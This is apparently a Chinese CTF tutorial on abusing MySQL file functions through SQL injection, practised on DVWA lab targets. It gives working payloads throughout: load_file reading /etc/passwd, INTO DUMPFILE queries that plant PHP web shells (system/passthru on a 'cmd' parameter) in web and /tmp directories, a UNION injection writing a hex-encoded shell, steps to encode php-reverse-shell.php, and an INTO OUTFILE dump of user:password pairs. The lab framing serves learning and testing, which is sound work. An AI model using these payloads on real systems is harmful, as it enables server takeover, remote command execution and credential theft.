WEB-CTF中的SQL文件操作
SQL文件操作
以下windows操作可以在phpstudy的dvwa上复现,linux操作可以在Metasploitable2的dvwa上复现。
读取文件 load_file
读取文件前提:
- 文件必须位于服务器主机上
- 必须指定完整路径的文件
- 必须有FILE权限
- 文件内容必须小于max_allowed_packet (show VARIABLES like ‘%max_allowed_packet%’; 查看)
- secure_file_priv不为NULL
在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。可以通过以下方式修改
windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。
使用格式:load_file(‘路径’)1
2
3
4
5
6#windows
select load_file('d:/kali.txt') #路径为单引号Str,斜杠是/而不是\
select load_file(0x643a2f6b616c692e747874) #路径为0x16进制Str
select load_file(char(99,58,47,98....)) #路径为char转换的字符
#linux
select load_file('/etc/passwd')
关于过滤:
防止文件中有截断:hex(load_file(‘文件地址’))
load data infile()
load data infile '/tmp/1.txt' into table user;
load data infile 'D:/Equipment/phpstudy/MySQL/test.txt' into table user fields terminated by ',';
:源文件按照,
在表中分列
system cat
在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用系统命令直接读取文件
- 此方法只能在本地读取,远程连接mysql时无法使用system。
- 无法越权读取。
写入文件 INTO DUMPFILE
使用格式:“内容” INTO DUMPFILE “路径”1
2
3
4
5
6
7
8#windows
select "<?php system($_GET['cmd']); ?>" INTO DUMPFILE "D:/PHP/WWW/cmd.php"
#linux
select "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php"
#下一条默认保存在/var/lib/mysql/dvwa/a.php (默认保存路径根据系统用户而定)
#(/var/lib/mysql 是 mysql的主目录,dvwa是SQL注入漏洞的网站主目录)
select "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "a.php"
select "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php"
因为Linux用户之间的读取,写入,执行权限严格。
假设做数据库写入文件操作的用户为MYSQL,而网站目录的用户为WWW。
- 第一种情况,mysql用户不能往WWW用户的目录写入文件,我们就无法访问木马文件,从而不能利用。写入无效。
- 第二种情况,dvwa目录只有mysql用户和root有权限,www无法进入读写,所以mysql植入木马,www网站也没有权限访问木马。写入成功,执行无效
- 第三种情况,tmp目录为所有用户都可以访问的目录(mysql 可以写入,www 可以读出),此时www用户通过文件包含漏洞去“执行”木马
ps.(文件包含漏洞是读取文件进来执行,不是真正的需要对文件执行权限)
此外,还可以查询数据存至目标主机,再加以利用1
select concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'
关于过滤:
文件转为16进制(INTO DUMPFILE会自动变为正常字符保存)1
2
3
4
5
6cat php-reverse-shell.php | xxd -ps
#用xxd进行16进制显示,但是每一行长固定,后面有换行符,sql无法翻译
cat php-reverse-shell.php | xxd -ps | tr -d '\n' 用xxd进行16进制显示,删除换行符
ps. php-reverse-shell.php 木马文件太大 url长度限制 无法上传 可换小型php木马
' union select null,(空格)(0xcccccc) INTO DUMPFILE "/tmp/1.php" --+
ps. 注意 文件16进制编码填入cccccc
常用路径
windows
1 | #查看系统版本 |
Linux
1 | #apache2缺省配置文件 |